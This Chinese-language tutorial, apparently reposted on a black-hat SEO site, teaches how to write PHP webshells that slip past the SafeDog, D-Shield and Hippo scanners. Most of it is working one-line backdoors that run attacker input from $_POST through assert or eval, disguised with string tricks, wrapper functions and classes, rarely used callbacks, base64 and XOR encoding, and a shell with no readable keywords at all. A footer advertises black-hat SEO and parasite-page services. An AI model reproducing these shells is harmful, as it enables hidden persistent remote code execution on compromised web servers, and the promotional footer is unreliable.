關(guān)于 eval 函數(shù)在 php 給出的官方說(shuō)明是:, eval是一個(gè)語(yǔ)言構(gòu)造器而不是一個(gè)函數(shù),不能被 可變函數(shù) 調(diào)用, 可變函數(shù):通過(guò)一個(gè)變量,獲取其對(duì)應(yīng)的變量值,然后通過(guò)給該值增加一個(gè)括號(hào) (),讓系統(tǒng)認(rèn)為該值是一個(gè)函數(shù),從而當(dāng)做函數(shù)來(lái)執(zhí)行。, 通俗的說(shuō)比如你 這樣是不行的 也造就了用 eval 的話達(dá)不到 assert 的靈活,但是在 以上 assert 已經(jīng)不行。, 關(guān)于 assert 函數(shù), assert() 回調(diào)函數(shù)在構(gòu)建自動(dòng)測(cè)試套件的時(shí)候尤其有用,因?yàn)樗鼈冊(cè)试S你簡(jiǎn)易地捕獲傳入斷言的代碼,并包含斷言的位置信息。當(dāng)信息能夠被其他方法捕獲,使用斷言可以讓它更快更方便!, 0x03 字符串變形, 字符串變形多數(shù)用于 BYPASS 安全狗,相當(dāng)對(duì)于 D 盾,安全狗更加重視“形”。, 一個(gè)特殊的變形就能繞過(guò)安全狗,看看 PHP 手冊(cè),有著很多關(guān)于操作字符串的函數(shù):, ucwords() //函數(shù)把字符串中每個(gè)單詞的首字符轉(zhuǎn)換為大寫(xiě)。, ucfirst() //函數(shù)把字符串中的首字符轉(zhuǎn)換為大寫(xiě)。, trim() //函數(shù)從字符串的兩端刪除空白字符和其他預(yù)定義字符。, substr_replace() //函數(shù)把字符串的一部分替換為另一個(gè)字符串, substr() //函數(shù)返回字符串的一部分。, strtr() //函數(shù)轉(zhuǎn)換字符串中特定的字符。, strtoupper() //函數(shù)把字符串轉(zhuǎn)換為大寫(xiě)。, strtolower() //函數(shù)把字符串轉(zhuǎn)換為小寫(xiě)。, strtok() //函數(shù)把字符串分割為更小的字符串, str_rot13() //函數(shù)對(duì)字符串執(zhí)行 ROT13 編碼。, 由于 PHP 的靈活性操作字符串的函數(shù)很多,我這里就不一一列舉了。, 用 substr_replace() 函數(shù)變形 assert 達(dá)到免殺的效果:, $a = substr_replace("assexx","rt",4);, $a($_POST['x']);, ?>, 其他函數(shù)類(lèi)似 不一一列舉了。, 0x04 定義函數(shù)繞過(guò), 定義一個(gè)函數(shù)把
關(guān)鍵詞分割達(dá)到 bypass 效果:, function kdog($a){, $a($_POST['x']);, }, kdog(assert);, ?>, 反之:, function kdog($a){, assert($a);, }, kdog($_POST[x]);, ?>, 效果一樣,這種繞過(guò)方法,對(duì)安全狗還是比較有效的 在 d 盾面前就顯得小兒科了,不過(guò)后面會(huì)講到如何用定義函數(shù)的方法來(lái)繞過(guò) d 盾。, 0x05 回調(diào)函數(shù), call_user_func_array(), call_user_func(), array_filter(), array_walk(), array_map(), registregister_shutdown_function(), register_tick_function(), filter_var(), filter_var_array(), uasort(), uksort(), array_reduce(), array_walk(), array_walk_recursive(), 回調(diào)函數(shù)大部分已經(jīng)被安全軟件加入全家桶套餐,所以找到一個(gè)生僻的不常用的回調(diào)函數(shù)來(lái)執(zhí)行,比如:, forward_static_call_array(assert,array($_POST[x]));, ?>, 這個(gè)函數(shù)能過(guò)狗,但是 D 盾顯示是一級(jí)。, 00x06 回調(diào)函數(shù)變形, 前面說(shuō)過(guò)眾多回調(diào)函數(shù)已經(jīng)被加入豪華套餐了,怎么繞過(guò)呢,其實(shí)也很簡(jiǎn)單 那就是定義個(gè)函數(shù) 或者類(lèi)來(lái)調(diào)用。, 定義一個(gè)函數(shù):, function test($a,$b){, array_map($a,$b);, }, test(assert,array($_POST['x']));, ?>, 定義一個(gè)類(lèi):, class loveme {, var $a;, var $b;, function __construct($a,$b) {, $this->a=$a;, $this->b=$b;, }, function test() {, array_map($this->a,$this->b);, }, }, $p1=new loveme(assert,array($_POST['x']));, $p1->test();, ?, 0x07 特殊字符干擾, 特殊字符干擾,要求是能干擾到殺軟的正則判斷,還要代碼能執(zhí)行, 網(wǎng)上廣為流傳的連接符。, 初代版本:, $a = $_REQUEST['a'];, $b = null;, eval($b.$a);, ?>, 不過(guò)已經(jīng)不能免殺了,利用適當(dāng)?shù)淖冃渭纯擅鈿ⅲ纾? $a = $_POST['a'];, $b = "\n";, eval($b.=$a);, ?>, 其他方法大家盡情發(fā)揮如” ”, 函數(shù)返回,類(lèi),等等。, 除了連接符號(hào) 還有個(gè)命名空間的東西 具體大家可以看看 php 手冊(cè):, function dog($a){, \assert($a);, }, dog($_POST[x]);, ?>, 當(dāng)然還有其他的符號(hào)熟讀 PHP 手冊(cè)就會(huì)有不一樣的發(fā)現(xiàn)。, 0x08 數(shù)組, 把執(zhí)行代碼放入數(shù)組中執(zhí)行繞過(guò):, $a = substr_replace("assexx","rt",4);, $b=[''=>$a($_POST['q'])];, ?>, 多維數(shù)組:, $b = substr_replace("assexx","rt",4);, $a = array($arrayName = array('a' => $b($_POST['q'])));, ?>, 0x09 類(lèi), 說(shuō)到類(lèi)肯定要搭配上魔術(shù)方法比如 destruct(),construct()。, 直接上代碼:, class me, {, public $a = '';, function __destruct(){, assert("$this->a");, }, }, $b = new me;, $b->a = $_POST['x'];, ?>, 用類(lèi)把函數(shù)包裹,D 盾對(duì)類(lèi)查殺較弱。, 0x10 編碼繞過(guò), 用 php 的編碼函數(shù),或者用異或等等。, 簡(jiǎn)單的 base64_decode, 其中因?yàn)樗恼齽t匹配可以加入一些下劃線干擾殺軟:, $a = base64_decode("YXNz+ZX____J____0");, $a($_POST[x]);, ?>, 或:, $a= ("!"^"@").'ssert';, $a($_POST[x]);, ?>, 0x11 無(wú)字符特征馬, 對(duì)于無(wú)特征馬這里我的意思是 無(wú)字符特征。, 1、利用異或, 編碼等方式,例如 p 神博客的:, $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';, $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';, $___=$$__;, $_($___[_]); // assert($_POST[_]);, 2、利用正則匹配字符,如 Tab 等,然后轉(zhuǎn)換為字符。, 3、利用 POST 包獲取關(guān)鍵參數(shù)執(zhí)行,例如:, $decrpt = $_POST['x'];, $arrs = explode("|", $decrpt)[1];, $arrs = explode("|", base64_decode($arrs));, call_user_func($arrs[0],$arrs[1]);, ?>, 0x12 PHP7.1 后 webshell 何去何從, 在 后面我們已經(jīng)不能使用強(qiáng)大的 assert 函數(shù)了用 eval 將更加注重特殊的調(diào)用方法和一些字符干擾, 后期大家可能更加傾向使用大馬。, 總結(jié), 對(duì)于安全狗殺形,d 盾殺參的思路來(lái)繞過(guò)。生僻的回調(diào)函數(shù), 特殊的加密方式, 以及關(guān)鍵詞的后傳入都是不錯(cuò)的選擇。, 對(duì)于關(guān)鍵詞的后傳入對(duì)免殺安全狗,d 盾,河馬等等都是不錯(cuò)的,后期對(duì)于菜刀的輪子,也要走向高度的自定義化。, 用戶(hù)可以對(duì)傳出的 post 數(shù)據(jù)進(jìn)行自定義腳本加密,再由 webshell 進(jìn)行解密獲取參數(shù),那么以現(xiàn)在的軟 WAF 查殺能力。, 幾乎為 0,安全軟件也需要與時(shí)俱進(jìn)了。,

,
黑帽WiKi(www.790079.com),8年
黑帽SEO優(yōu)化技術(shù),
黑帽seo快速排名,
黑帽SEO技術(shù)培訓(xùn)學(xué)習(xí),黑帽SEO快速排名程序、
泛目錄、
寄生蟲(chóng)技術(shù),贈(zèng)送免費(fèi)黑帽SEO視頻教程
掃一下添加微信:
。轉(zhuǎn)載請(qǐng)注明來(lái)源地址:黑帽SEO http://www.790079.com
專(zhuān)注于SEO培訓(xùn),快速排名
黑帽WiKi_
黑帽百科(www.790079.com),8年黑帽SEO優(yōu)化技術(shù),黑帽seo快速排名,黑帽
seo技術(shù)培訓(xùn)學(xué)習(xí),黑帽SEO快速排名程序、泛目錄、寄生蟲(chóng)技術(shù),贈(zèng)送免費(fèi)黑帽SEO視頻教程
(黑帽SEO技術(shù),網(wǎng)站快速排名,蜘蛛池加速收錄,目錄程序定制)
掃一下添加微信: